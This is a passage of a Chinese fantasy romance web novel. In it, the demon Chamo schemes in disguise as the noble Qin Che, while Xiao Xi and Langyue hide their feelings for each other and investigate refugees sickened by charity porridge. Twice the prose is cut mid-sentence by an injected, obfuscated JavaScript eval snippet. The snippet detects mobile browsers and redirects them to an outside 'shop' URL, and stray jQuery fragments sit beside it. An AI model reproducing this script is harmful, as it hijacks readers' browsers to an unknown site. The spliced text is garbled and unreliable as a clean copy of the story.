因此,大人口中一段简单的话,也极有可能引起手下们的遐想,并让他们无一不胆战心惊地为自己开脱莫须有的”罪责”,眼下这只黑衣人明显正处于这个情况。 夜风萧瑟,刮过松乱的枝叶,枯叶随风扑洒到男人的脚底,他慢慢抬脚,面不改色地踩上去,兴致盎然地蹂躏着。 “被人背叛的滋味是很不好受的,仙机门的门主更不会例外。我没有想过靠鬼市就能帮我解决掉仙机门故意给我留下的祸患,因为这本不是我想要的,我要的是这名叫做朗月的、被仙机门给予一切厚望的预言弟子,亲自承认他背叛门派的事实。” 黑衣人的语气略带迟疑:“可……您难道不担心鬼市妖主会跟他们合作对付我们吗?” “我担心的是鬼市妖主不会跟他们合作。” “什么……意思?” 男人轻揽衣袍,眉尾轻扬,耐人寻味地说道:“我要看着仙机门亲口承认自以为的步步为营,自始至终都是一场笑话;我想看他们眼睁睁地看着自己崇敬不已的门主慢慢堕入欲望的深渊;我想看他们看着自己引以为傲的预言之子,在他们的计划下,渐渐沦为我的棋子,毕竟令朗月斩杀毕方以除血蠕威胁之事,的确是我想看到的结果之一。 当然,我最想看着这样的预言之子,亲手给他们喂上背叛滋味时是何等的场面。我认为,那至少是会让他们绝望的。” “爬得越高便会摔得越疼,他们越是要证明朗月,那我就越会帮朗月坐稳预言之子的位子,并让其顺利地找到我的跟前。朗月,是我格外重视的孩子,重头戏因他而展开。” “当然,我不会给他们机会反抗我,鬼市妖主也不例外。” 黑衣人愣然垂眸,心中已然因太过震撼而深感无言。 久久呆愣后,黑衣人才想起正事来,忙恭敬问道:“刹摩大人,您还没有交代今晚叫我来所为何事。” “放出诞辰的消息。控制秦昊大闹城门,借他之手,将前几日我就着手准备着的城闉施粥一事闹得更大些,最好要人尽皆知,好引起朗月他们的注意力。” 男人板正了身姿,交代完后,便将朝着亭廊尽头踱去的步子迈得更大了些。 正当黑衣人还在迷茫的时候,男人突然止住了步伐,面容上摆出一只伪善的笑,补道:“别忘了从明天起,就只可叫我秦澈,秦二公子了。” 黑衣人丝毫没有被这只看似温柔的笑容感染到,反倒是起了一身鸡皮疙瘩,他吓得低头不再敢看,规规矩矩地道:“是。” 158. 城闉义士(1) 中元日半夜—— 萧喜枕着自己的手臂躺在铺上,另一只手则摸着自己脖子上落着的有着冰凉触感的银蛾吊坠,眼睛许久未闭,目光呆滞着,脑中思绪纷乱。 她在回忆今晚在鬼市跟白刻舟对峙时的场景,虽然因为情况的变故,她临时上阵,但所说的内容与白天跟朗月提前商量好的一般无二,她确认自己没有走错任何一步,并且整个流程一气呵成。 但正是这理应让她庆幸的事情,却在深夜一遍又一遍地给她带来焦虑——她的心情辗转反复,矛盾不堪。 她已经摩挲了吊坠许久,可它至今没有接受她的体温,冰凉凉地躺在她的锁骨之间,无声地告诉她同样冰冷的现实——这么多天来,她去过了所谓的登仙楼,去过了盛京城绝大部分的街巷,甚至连最神秘不可往的鬼市她都鼓起勇气深入了两次,但是吊坠至今没有任何反应,那些给予过她希望的青灯的话语从未灵验过。 她找不到金瑶蒂,或许说,是她太过心急了…… 想到这里,萧喜长吁出一口凉气,却未能借此吐出心中的烦扰。 其实白刻舟在最后向她索要“把柄”的事情,并不会给她和朗月带来什么烦恼,因为他们都知道自己就算不借助白刻舟,也能靠这只青灯的吊坠找到金瑶蒂。说实话,他们要不是因为鬼市的事情会牵扯到刹摩,也不会单纯只因为金瑶蒂的事情就如此犯险地深入其中。 虽然白刻舟不会威胁到她找金瑶蒂的事情,但是萧喜还是会为此发愁,因为她其实是在希冀白刻舟真有通天的本事,可以早一点,再早一点帮她找到那个受尽人间苦难的姑娘,可以早一点,再早一点让自己解脱于过去。 好矛盾,这种既排斥又渴望的感觉…… 萧喜掀开低沉的眼睑,刚巧能在窗缝里瞥见外面的夜色,阴雨的天气不复存在,明月已然拨开云雾,星点如豆,颗颗可见。 今晚的月亮倒是明朗圆满。 ……. 与此同时,隔壁屋子里的朗月也没能如愿入睡,他在脑海里不断循环放映今晚自己与萧喜相处的画面。尤其是萧喜刚回到客栈后不久,对他说过的那些话,让他久久无法释怀。 那时候萧喜刚沐浴完毕,穿好衣物后的她,还披着一头湿漉漉的发,她急匆匆地跑进他的屋子,急得完全不顾形象的她,只管在他面前抬腿,并指着自己的左脚踝,跟朗月道:“我去,我今儿洗澡才发现你上次在云镇给我腿上搞的印记还在!我以为这是一次性的呢,用好了就会自己消失。结果没想到,它还在!快快快,你给我想想办法把它消掉。” 朗月被她的举动弄得一怔,然后目光跟随着萧喜的手指,落到了她左脚上落着的那只印记上,是淡淡的冰蓝色水纹,样式虽简单,但清冷雅致得很,如同他的为人一般。 紧接着,朗月的脸色便以肉眼可见的速度烧红了起来,他欲盖弥彰地别过头去,不再看她,只是就事论事道:“消不掉了。” 萧喜梗住了脖子,不可置信的说道:“啊?那……那这会不会不太好啊?倒像是我跟你绑定了一样。这东西不会真要跟着我一辈子吧?救命,朗月,你当时怎么不早点跟我说啊。” 朗月待脸色恢复后,他才继续道,语气无奈:“云镇那晚我要怎么抓紧时间与你解释?你……” 他长睫微落,在灯影下的眼底扫出一片雾霾般的阴影,并借此盖住了眸中的失落:“你……不用担心,不过只是当时的无奈之举罢了,对我来说没什么重要的意义,所以不会存在你与我绑定一辈子的说法,你不用有负担。” 萧喜闻言,松了一口气,她抚平激动的胸口,只是摆手笑道:“那就好。” 朗月没有抬眼看她。 萧喜转过身,只是跟他交代了一句“我先去睡了,晚安”,就离开了。 门闭,萧喜笑颜尽失,她的表情微僵,是因为强行压制自己的情绪,从而去迁就自己的演技自由发挥后,所造成的疲乏导致的。 门外的她抵着冰冷的墙,怔怔地抬起了一只手,那只今晚拉过朗月的手,也更是那只差点就要暴露她的心、令自己颜面尽失的手。她记得朗月意识到自己被她拉住时震惊的举动,他没有挽回她的离去,也没有解释自己的震惊,那很伤自尊,更是坚定了她继续保守的想法。 可是,刚刚……还差一点……就又要暴露了。 索性朗月那句“不过只是当时的无奈之举罢了,对我来说没什么重要的意义”,让她彻底清醒了。 “那就好……” 这不是她内心表露的原话。 “那就好——我对你的、可能仅仅存在于一时的心意就不会袒露出来了,而这份心意不会成为你的负担”才是…… 她居然会有一天变成胆小鬼,担心自己的自尊心被他人伤害,所以封锁起了心,就像朗月一样。人果然是多变的,从前的她,总是口口声声说教旁人努力敞开心扉的人,现在则成为了会让曾经的自己嗤之以鼻的存在。 门内,朗月吹灭了烛火,眸中的光猝然灭去。 ——“那就好。” 萧喜的话萦绕在他的心头。 什么好? 是好在“不会存在你与我绑定一辈子的说法,你不用有负担”么? 还是他对她的感觉,迟早会在以后成为她的负担? 这些念头将他困至深夜,如今甚至令他想起来越来越多与萧喜相处的日夜朝夕。 包括,今晚在回客栈的路上时,萧喜为了安抚他时拉住他小指的感觉……但那个时候,他不敢触及萧喜的真心,所以选择了回避这样的感觉,因为他不想成为一个不负责任的人,他至今还无法认清自己的内心走向,也根本无法保证未来的发展是否能顺遂心意,这样的他如何敢贸然承担这些对萧喜的感觉?他不想成为母亲那样的人,不想欺骗或对不起任何一个他愿意真心以待的人。 可他明明在拼命抑制着自己的心绪,就像从前一路走来的十七年岁月那般。但是他却在回忆里萧喜对他说的那一句句带着鼓励性质的“敞开心扉”之言中,不断迷失自我……他根本无法确认自己应该行径的方向在何处…… 他甚至根本控制不住想与萧喜接近相处的渴望,不,甚至是欲望——他脑中总是浮现出前几日萧喜敷药时无意露出的后背,他忘不掉沧淩城苏府之夜他与萧喜共同协进时紧握的双手,他会不断回想平台镇雨夜的山崖上救萧喜时她贴紧胸膛时的感觉…… 他觉得自己真是虚伪龌龊到令人厌恶。 朗月掐住自己的小指,疼痛亦不可知。 …… 翌日。 他们两个人晚上都没有睡好,因此第二天谁都没叫谁起床,他们自发开门道早,而且两人脸色都不太好,两对黑眼圈各自糊在他们的眼底下,看起来倒是默契十足。 “啊,你晚上也没睡好?” 萧喜朝他挥了挥小臂,尽力扯了扯嘴皮子,做出一个勉强的笑容出来,像个鬼脸。 朗月挤了挤眼睛,淡淡应了声:“差不多。” “害,彼此彼此,昨天确实经历的事情太多了,有烦恼也是在所难免的,”萧喜随口安慰道。 她其实根本想不到让朗月失眠的真正原因是什么,她只是照着他的秉性和平时的作风,认定他昨晚也应该和她一样,是在为鬼市的事情发愁,所以她才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14038013|126577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会这么安慰他。 朗月闻言,只是松弛一笑,除此之外再无其他表现。 他们进行着往日的流程,下楼准备用早点。 今日的天气依旧阴沉幽暗,现在的时辰本不算晚,天色看起来就更暗了些。 客栈里的老板和伙计依旧趴在柜台上昏昏欲睡。 所有的一切都被罩上了晦暗而寂静的色彩。 他们点完粥水饭菜后,在等待伙计和老板送上桌的时候,客栈大门外响起一阵喧嚣声,他们的目光被随之吸引而去。 一帮穿着简陋乃至衣物零碎破烂的男人女人乃至小孩们,一大早就踩着焦急的步伐,自街道的一头蜂拥向另一头的方向。朗月和萧喜的目光跟随着这些蓬头垢面之人的动作,从大门的这一头偏向了另一头,接着又有一波人们跟着前面的队伍赶来,他们的目光就会重新转移到最开始的地方…… 萧喜最终还是没忍住开了口:“现在才不过鸡鸣之时,这些……难民怎么就开始闹腾了?” 她偏了偏脑袋,根据这些人的形象,给他们取了个合适的代名词后,又道:“以前从没有哪天这样过。” 语罢,她也忽地警觉起来,并将自己赶忙拉出精神不济的困境里,抬眼间,刚好与朗月对视了一眼。 昨晚中元夜鬼市一事刚告一段落,今日一大早就出现了这样事出反常的现象,还偏偏挑在了他们眼前发生。 不说要不要判定这是不是某人的故意之举了,光这无缝衔接的既视感晾到他们眼前,又如何不叫他们起疑? 此时,客栈的老板已经端着温烫的粥水过来了,又将一碟一蝶的小菜摆在他们的桌上,口中念念有词着:“哎呀,你们昨天晚上睡得早了,才不晓得这桩事体啊。” “最近正赶上将军府秦二公子的诞辰,二公子虽然年纪不大,但可是出了名的孝顺。 他母亲害病了好多年了,他就想着在诞辰前的这几天行善施德,已经连续好几日放低姿态,从早到晚守着南城门,给不能自力更生的难民乞丐们施粥放粮了,以此祈愿菩萨可以保佑他母亲可以早日康复,那边的难民们都尊称秦二公子为城闉义士呢。 你们二位新进京不久,前几天没听说这些,也跟秦二公子行事低调有关。奈何昨晚秦大公子闹酒轰城门,秦二公子设置在那边的施善摊子都被他搅和得乱七八糟的,也搞得南门那边半夜鸡犬不宁,所以秦二公子就是再怎么低调,都拦不住这越说越凶的传闻了。” “这不,才过了一晚上,那些事情就从大老远的城门边传到了盛京城的大街小巷,这些平日里躲避在阴沟巷子里的流民乞丐很快就闻风而起,马不停蹄地赶到城门那头去,想得到秦二公子的施惠。 你别看外面这帮人刚刚才在咱客栈门外跑出动静,实际上啊,他们早就动身了,估摸着盛京城另一头的流民乞丐们在深夜就出发了哩!” 客栈老板此话不假,这处客栈比较偏,离盛京皇城是很远的,但相反,它离南城门却是较为近的。 所以那帮人能从盛京其他边缘地区跑到这里来,很有可能是提早出发,且马不停蹄的。 “这两位公子的行事做风可谓是天差地别啊。”萧喜低头一哂。 “可不么!他们兄弟两个长得也是天差地别呢!你猜怎么会这样,还不是因为不是一个娘养的!” 客栈老板咧嘴调侃一声,后便重新耷拉下眼皮,遮住刚刚讲着八卦时眸中闪烁着的奇异眼神光,恢复了一如往常的昏昏欲睡的模样,收拢起衣袖,爽快转身,没多久就又蹲坐回了柜台上,跟着小伙计打起了瞌睡。 空旷的屋子又一次陷入了蒙着晦暗色彩的寂静。 159. 城闉义士(2) 半晌后,朗月才发话:“上楼再说吧。” 二楼朗月的厢房内—— 朗月说话并不迂回,他关紧房门后,直接开门见山地道:“昨晚秦大公子酒闹南城门的时间,大差不差就接在我们刚从鬼市回到客栈后的时辰,此事太过巧合。” “自是,并且可疑之处还不止这一处,”萧喜寻思道,“但若追究于时辰点上,倒是还能梳理出一条关键的线索出来。在进鬼市之前,我们就已经推测出,刹摩已经事先明了了我们的动向,为此甚至还突然改变了动作施展的方向,将魔爪深入了妖界,想要利用鬼市妖主对我们下手。” “秦大公子酒闹城门,刚好承接在我们了却鬼市之事之后,此事可疑,也恰巧更能证明了刹摩对我们行动的了解程度。毕竟,秦大公子的事端在发生时,做到了完全避开了我们的注意力,这种巧合已经参杂了太多心机,刹摩这么做,是因为他早就深知了我们在鬼市的所作所为的目的。” 萧喜顿了顿,眸色轻瞥,疑色重重地说道:“难道是因为他知道自己没能在鬼市利用鬼市妖主解决掉我们,所以在确认这件事后,就立马备用了新的解决方案?” 朗月毫不犹疑地摇头:“这不像是刹摩的作风,往日,不管是平台镇……” 他差点就要说出毕方和仙机门之间的关联,但他的思想准备并不充裕,所以他认为现在并不是说出它们的时候。因为,他总感觉不管是现在的处境,还是昨晚鬼市的经历,都已经足够让自己蒙羞了,他哪里来的脸再继续揭发仙机门鄙夷的一面? 很明显,他在努力适应这些残酷的现实,诚如昨晚上他所说的那样。但毋庸置疑的是,他还需要更多的时间。 他更改了措辞,继续道:“往时,不管是两百年前的黑影魔,还是不久前沧淩城的少五,我们都是倾尽所有,耗费九牛二虎之力,并且在借助少五这个外力的情况下,才稍微窥见刹摩的存在。 除此之外,不管是他的用意,还是他的动机等等,我们至今都没有得到确切的定论,一切可谓是模棱两可的存在。 所以尽管我们可以通过一切有迹可循的规律,或者疑点判定此事乃刹摩所做,但我还是会觉得非常突兀,也不切实际,若我们料定得不错……等待我们的怕会是比鬼市悬赏令更加胜定难分的陷阱。” 萧喜对此表示赞同,在感受到未来渺茫时,她发觉自己脑袋里的筋脉开始突突直跳,颇为难耐。 她揉了揉太阳穴,说道:“你说的这些我都懂,但我已经不太清楚刹摩的想法了,我感觉他有种既想搞我们,又不想完全搞死我们的念头。我们从一开始就是他棋盘里的几粒棋子,到了盛京,倒是慢慢变成他的玩物了!” 朗月眼睛亮了亮,他语气稍微有了些精神,问道:“何出此言?” “你刚刚不是具体概括了一下我们之前与刹摩打交道的事情吗,给了我一些启发。在昨晚之前,因为我们对鬼市妖主不熟悉,所以我们自然而然会将一切的注意力都放在他身上,未知不就代表了危险么? 但……刹摩肯定是要比鬼市妖主更厉害的存在,要是真的如我们之前想的那般简单,说是刹摩想借鬼市妖主直接把我们解决了的话……他难道没有更好的选择吗?干嘛非要一反往常地让妖族的鬼市妖主控制我们? 按照他之前的做法,动用同样是非妖非人的刹摩黑影魔,或是血蠕,控制别人不就得了?这些在三侨、哥哥、少五身上呈现出来的效果难道还不够吗?鬼市妖主又算什么呢? 刹摩偏偏搞了现在这个名堂,不管是威望极大的鬼市妖主,还是中元夜前闹得厮杀不断的悬赏令,可是非常吸引我们的注意力的,哪有之前那样特别难发现的线索等我们去发掘啊?所以,我觉得你说的‘突兀’就在于此处。 依我看,刹摩就是故意在耍我们,他根本就没想杀死我们!甚至……说不定,我们看清鬼市隐情一事,也早在他的计划之中了!” 萧喜的情绪略微激动,为了避免动了肝火,她到后面干脆加快了语速,匆匆忙忙结束了自己的论点。 朗月默默揣摩了一番她的话,搓捻着手指,整理好思路后才道:“你的确很适合打破思维上的死局,我的确应该转换思路,并且借此发现,秦大公子一事并非是刹摩在确定我们在鬼市相安无事后,另给我们安排的陷阱,无论是鬼市还是南城门,都本该是刹摩早就做好的计划中的一环。只有这么想,才能在所有事情衔接起来的时候,不会那么突兀。” “并且,我们明知它们都是火坑,却还要不顾一切地往里面跳,”萧喜不由冷笑,带着诸多无奈。 “因为我们没有其他的选择,刹摩的强大正在于此,”朗月沉声道。 萧喜想着想着,还是没能思考出结论,只好发问:“所以刹摩既不想杀我们,那安排鬼市真的单纯是想耍我们出出气么?难道没有别的所取?” “不知道,不谈参悟刹摩的用意,我们连白刻舟的想法都捉摸不透。”朗月对此深表遗憾。 “哎……”萧喜叹气,无声半晌道,她依然不屈不挠地道,“嗯……难道刹摩是想分散我们的注意力吗?你看,白刻舟不是还给我们弄了个五日为限的任务么?或许,刹摩是想借此让我们将针对于他的注意力,换到白刻舟的任务上?” “或许是,”朗月觉得有几分道理。 “那你说秦大公子那边是闹的哪出?”萧喜忽然察觉到了自己的逻辑根本不能自洽。 “要是刹摩是要我们分散注意力,那按道理,他不是该按兵不动吗?怎么还搞出这么个名堂?”她不满道,颇有些自怒的意思。 “并不排除自导自演一说,因为这样不仅可以转移我们的注意力,还能迷惑我们,他最喜欢的不就是掩人耳目么?”朗月接道。 “也是!”萧喜惊喜道,顿觉脑路通常,不知道的还以为她是被哪位世外高人打通了任督二脉。 “那我们现在要尽快去南城门那边看看么?”萧喜收拾了一番自己的衣领,倒是看起来一切准备就绪的样子。 朗月反而相当冷静,他默默背靠在椅子上,手指有一搭没一搭轻轻敲着面前的桌案,后道:“我们最好也按兵不动。” “为什么?” “按照鬼市事情的走向,南城门那边绝对还会发生更多引人耳目的事情,不久后,我们或许能抓到其他的线索,如此会更好上手。” “也是,而且比起秦大公子,秦二公子反而是个更可疑的人物,我们应该提前对他们都做些了解。” “是。”朗月续道。 …… 果不其然,关于南城门的事端,如朗月所言接踵而至,今日午后,无数难民都开始发觉自己肠胃搅动不止,呕吐腹泻者不拘于少数,而这些人,他们都有一个共同的特点——接受过秦二公子的救济。 但尽管发生了这样的事情,南城门那边的救济所还是没有关停——不只是那些没有症状的百姓,包括身体残损不适的人们,都坚持认为这件事情和秦二公子的善行没有任何关系,尽管有那么少数几个人坚定认为自己之所以会变成这副模样都拜施粥所赐,但他们还是会被占据大多数的那些坚信秦二公子为人的百姓们,一口唾沫一句的“狼心狗肺”之类的话淹没了言语的分量。 经过大半天的对秦将军府的了解后,朗月和萧喜发现,这些百姓们如此“众志成城”,并非是空口来穴之事,因为秦二公子的声望自他出生以来,都是无可指摘的。 街坊传闻中,秦二公子秦澈是秦将军在原配家中主母死后,另娶另封的主母所生之子,秦澈从小就与他那哥哥秦大公子秦昊有着了巨大的差距,无论是长相外貌,学习本领,谈吐举止,还是德行心智,秦澈永远都是优秀的存在,不但优于秦昊,还优于盛京城中同岁数的所有其他高门贵族的公子们。 据说,秦澈已经不止一次做这样施善之举,往年的他,在诞辰之时,还会默默托人裁剪衣物递给因贫穷而穿不起衣服的穷人乞丐们,或是会直接赠送财物给鳏寡孤独的百姓们,或是会倾尽一切本事帮助本有才华却遭人嫉妒暗算的才子通路……善举的范例真的太多,至此已经完全无法全部列举出来。 承受过秦二公子恩情的百姓实在太多,甚至连三番两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14049278|126577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次接受他善心善德的百姓都不在少数,他的威望如何建立不起来? 这么多年来,从来没有什么时候出过这样的问题,偏偏今年如此,那也只能说明这是一起意外事件,而非秦二公子的蓄意图谋,仅仅一场意外并不能证明什么。 更何况,虽然得病受苦的流民百姓们皆是喝过所施之粥的人,但喝过所施之粥的人却并非全部得病。 这就更加不能证明什么了。 这样的情况看起来极为复杂,思考起来就更甚之了。 刚从外面考察奔波回来的萧喜,急急忙忙灌了自己一大杯水,神色不定,对朗月发起牢骚,道:“虽然我们想过今天南城门那边会再出事,但真没想到,事情会发生得这么突然,一点征兆都没有。我还没去那边看看患病的流民乞丐,可任何疾病,哪怕是血疾这种能有通天本事的病症都会有个发病的前兆,比如畏火,胸闷,气短,心脏酸痛,脑子不清醒什么的。 但今天这种事真的让我措手不及,而且那些流民百姓们的行为都非常让人不解,真是很难解决的问题。别忘了,我们刚从位处盛京城繁华地带的秦将军府回来呢。” 朗月虽然看起来没她那么心急火燎,但也好不到哪儿去,一路打听下来,他的喉咙也干得发涩,他接过萧喜递给他的水壶,倒是没在乎平时的礼数,动作闲散地倒好一杯,直接灌入喉中。 “刹摩手段一向精明,只要他提前在这些百姓的身体里做好手脚,不管发生什么,都不算意外。”朗月说道。 萧喜苦恼地撑着脑袋,思索道:“提前安排这我知道,但是我们得找到刹摩这一次选中的、用来对付我们的关键对象,譬如沧淩城的少五,庆阳镇的三侨,鬼市的白刻舟。 一开始,因为秦大少爷的举动太过张扬,所以我可能对更加神秘一些的秦二少爷更注意一点,但现在看来,秦二少爷从前诞辰的时间内也干过诸如此类的善行之事,并不局限于今年,这唯一的疑点就这样消失了,而除此以外,他过往的历史都非常干净,甚至说是完美无瑕。反倒是秦大少爷……” 朗月见萧喜的脑路有些断续,索性主动接道:“反倒是秦昊污点重重,不管是寻花问柳、游手好闲、赌博狎妓,还是嫉妒弟弟。他是刹摩格外喜爱控制的人选。不出意外的话,秦昊应该非常厌恶秦澈,刹摩说不定会借血蠕放大他心中的恶念,令他动手搞出昨晚和今天的这些事情来,从而陷害弟弟秦澈。” 萧喜又道:“据我们今天的了解,秦昊这个人脑子貌似不太灵光,还非常猥琐油腻,血蠕虽然可以极大程度地放大人心的恶念,从而控制他们的神智,但却不能从根本上改变这个人的本质——包裹智力和行为举止。如此看,秦昊能干出这样惹人耳目的事情反倒是不奇怪了。” 朗月双眸微垂,扫下一片阴影:“可惜,我们目前没有任何途径能进入秦将军府那样的人家,所以无法亲眼看看秦昊的症状。最好亲眼见证他染上血疾的状况,才能证实这些猜想。” “害,不要着急,除去今天,我们还有四天的时间。实在不行,今晚老办法,翻墙进去找人就好了,白天的话,我们可以另择其他事情做做。” 萧喜松了松眉头,既是安慰自己也是安慰朗月。 朗月应道:“待会儿我们就去亲眼看看现场,那些患病的流民乞丐身上肯定会有线索。” 他坚信患病的百姓们也是中了刹摩的血蠕,尽管症状前所未有,但也应该会有迹可循。 “好,”萧喜本要回去收拾东西,但又立马转身回来问道,“话说,白刻舟昨晚说的那些要安插过来的眼线在哪儿啊?到现在还没来吗?难不成是躲在暗处?” “没有,周围没有任何一丝妖气,”朗月一向笃信于自己对妖气的敏锐度,因此,他的话对于萧喜来说,是具有很强的权威性的。 “好吧,要是今天下午过后还没有妖怪过来,我想我们就只能亲自进鬼市抓妖怪了。因为刹摩此次是针对妖族下手的,我们是人族,无法靠自己的感知去判断到底哪些地方是干扰妖力的。”萧喜摊手道。 对此,朗月点头默许。 160. 城闉义士(3) 南城门—— 官兵们兢兢业业地拦在城外喧闹的流民面前,面露凶色,俨如罗刹,光是看了都能让人生出连连败退的惧意,但城门外的流民乞丐们依旧对此毫不在意,面对刀枪阻隔,他们也要对城内的事物趋之若鹜。 而城内半条街内,则堆满了无力躺倒在地的“活死人”,呕吐物和排泄物堆在了各种角落,混杂着被泡烂的泥土,发散出阵阵恶臭。 而这些惨不忍睹又恶臭无比的画面和事物,却恰恰是城外流民所期盼看到的。 萧喜和朗月面露难色地行走在行色匆匆的人群中,如今已经故意乔装打扮的他们,只要不仔细看,便不会觉得他们和这里的平民百姓们有什么不同。 眼看着快要到传闻中秦二公子设置着的为流民们发放粥水和粮食的地方,他们都微微佝偻起脊背,从而让自己看起来更像是面黄肌瘦的平民老百姓,好趁乱混入其中。 “我还以为会有官府的人过来呢,”萧喜小声说道。 “不会,秦家在京城的势力不小,很多事情本就难以直接牵扯上他们,更何况是这种大家概不认为秦澈有罪的情况呢?”朗月说道。 他走在前面探路,告诉萧喜,走过此处恶臭之地,就能看到排在施粥摊位外的一条宛如长龙般的队伍。 即便存在着诸多不确定的隐患,这些被剥夺了选择权力的、走投无路的流民乞丐们,只能将所有的希望全部寄托在了这位声望极高的富家公子身上。 萧喜顺着朗月的目光,微微仰头眺望过去,见眸中之色,神色顷刻黯淡。 悲哀的人间。 有人锦衣玉食,有人衣不蔽体、食不果腹,天上人间的差距不必从话本神话中寻觅,站在此处,便能借着这残酷的落差感,窥见其中一二内涵。 说实话,流民乞丐萧喜见的不少,甚至她本身就是丐帮出身的野孩子,她其实是很能共情这些可怜又无奈的百姓们的。但是不同于她过往的经历的是…… 萧喜的目光努力穿过人海,想要找到传说中的“城闉义士”——那个锦衣玉食又好心肠的贵公子。她从没有什么时候比现在还更想看到那个,对于流民们来说宛如光芒般的人物,此时的欲望并不靠她对刹摩的任何感情的推进,因为这是她共情这些可怜百姓后由内而发的、情不自禁的心情。 她知道,在这样处境的人,是多么渴望像秦二公子这样的救世主的降临,她知道,这样的人在得到任何哪怕只是鸡零狗碎的小恩小惠时,也会将此认定为真正的救赎。 苦难是会压垮人的尊严和意志力的,得到救赎的人即便活着也极其容易丢失自我,而得不到救赎的人便会堕入绝望的深渊——就像曾经的她一样。 而师父则是超越救赎的存在——因为,他没有让她丢失尊严和一切属于她的本质。 见惯了人间浮华的她,已经许久没有再生出这样的感情了,陌生又熟悉的情绪上涌不断。她只有像现在这样置身于此,亲眼看看这一切,才会正正体会别人的苦难。 她想起,在此之前,她与朗月谈及此事时,她那副自大的嘴脸—— “今天这种事真的让我措手不及,而且那些流民百姓们的行为都非常让人不解,是很难解决的问题。别忘了,我们刚从位处盛京城中心地带的秦府回来呢。” 可真是令自己蒙羞。 萧喜醒过神来,差点一个冲动就给自己扇下两个嘴巴子。 还好朗月的话刚好打断了她的冲动,他道:“看样子,若想亲眼看看秦二公子就必须跟在这群流民乞丐身后排队了。如此便只能分头行动了,我们还需要近身了解那些已经患病之人的状况。” 萧喜自告奋勇道:“我去排队吧,因为我更善于伪装嘛,你虽然换了一身扮相,但近看还是很容易露出破绽。” 朗月静声半晌,眼神下移看了一番自己的扮相,虽然他没觉得自己的样子真如萧喜所言那般不堪,但既然萧喜已经说了,他也不好再多言其他,只好半信半疑地点了点头。 两人商量好各种细节后,萧喜猫着腰顺着百姓们的人流涌进长长的队伍里,眼神一边迅速扫着四周的情形,一边极力伪装好自己的神态。而朗月则转身,往更远的方向走去,那边病重躺地的流民应该更多。 太阳渐移,再怎么畏葸不前的队伍也终于排到了萧喜面前,不出所料,传闻中的秦二公子并没有想象中那么好见到,他并没有亲自立在摊位上负责施粥,而是立在摊位深处更靠墙的阴暗之处默默指挥。 萧喜立在简陋的摊位上,面前几个穿着较为得体的家丁肩靠肩地挨靠着,他们手法娴熟地接住她手里的破陶碗,再拎起勺子往粥缸里一舀,动作一气呵成,十分顺畅,以至于还没完全给足她看清楚秦二公子的时间。 尽管她的本领有限,但好歹还有心理准备,所以虽然没有看见对方具体的模样,可至少眇到了半边的轮廓——不管是其他的什么事,都不如这半边轮廓给她带来的心理重击大,她完全没有想过事情会发展出这样的走向,但也或许这并非现实真正的走向,而是视觉冲击带给她的幻觉。 那是个身材挺立、姿态翩翩又穿着精简的男人,他侧过去的脸刚好在斜打着阳光的墙面上,扫去一片映着他面容轮廓的阴影——微绻而长的睫毛、没有太过深邃而突显温良清润之气的眉眼,挺拔立体的鼻梁骨,饱满的唇珠——这些只是一片阴影或是半边轮廓,是虚无缥缈的东西,怎么能让她窥见这么多细节? 事实证明,她不否认自己之所以会这么感觉,是因为其中掺了不少臆想的画面。 秦二公子一个她未曾谋面的陌生人,为什么会无端的让她产生臆想呢? 除非,这个陌生人长得很像自己认识的人。 而那个人就是朗月。 不过,萧喜觉得此人虽然与朗月眉眼相近,但气质上还是有差别的,对于她这样较为了解朗月的人来说,她认为比起此人的温良清润之气,朗月身上的少年傲气和盛气凌人的清冷气显然更吸引她,也因此让她迅速摆脱了虚幻的想象。 刚好,那个端着她的碗,却见她迟迟不接的家丁开始不耐烦地吼道:“愣着干嘛呢?!后面的人不想吃了?” 萧喜被他吼得扑了一脸的唾沫星子,甚至还有一些落在了她刚接过去的碗里,她忍着将要扭曲的面色,扯出一个勉强的笑容,转身绕开队伍。 她走到远去队伍半截的位置,想趁周围无人的时候将手中的粥水倒掉,毕竟她并没有从中发掘出什么可疑的点子,这是可惜的。 此时,一双清凉而带着浓烈好奇心的眼神落在她的身上,她莫名被此吸引,察觉到异常的她转过身去,刚好看到离她身后大概几步的距离正站着一个年纪不过十一二岁的小姑娘。 看她脏兮兮的面庞和破败不堪的衣裳,可以判断出她也是这些可怜的穷苦百姓中的一员,她的身形小巧,眉眼稚嫩,看起来人畜无害,此时她正一脸新奇地仰头看着萧喜,手里正端着粥水。 萧喜愣了愣,因为她记得刚刚她走的时候后面没有人,也完全没有听到有人在她身后走动的声音,这小姑娘很像是突然蹦出来的。 她不认为自己的敏感性会放纵自己犯这样低等级的错误。 可尽管她对这样的道理心知肚明,但面对这样的小姑娘时,还是打心底里生不出任何警惕的心思,反而对她萌生出一种莫名而来的好感。 四目相对间,小姑娘笑了笑,眉眼弯弯,牵动她还带着婴儿肥的面庞,神态间,带着不似孩童般的韵味。但是,萧喜并没有注意到这些。 她指了指萧喜手里的粥碗:“别把它倒掉。” 萧喜垂眸,顺着她手指的方向看到手中端着的碗,她刚刚本来是想倒掉的,但因为小姑娘的突然出现,她才将动作暂时搁置,此时手中的碗还微微倾斜着,她却不得不口是心非地尴尬道:“啊……我没有要倒掉它的意思,我只是暂时没拿稳。” 她这么做其实, 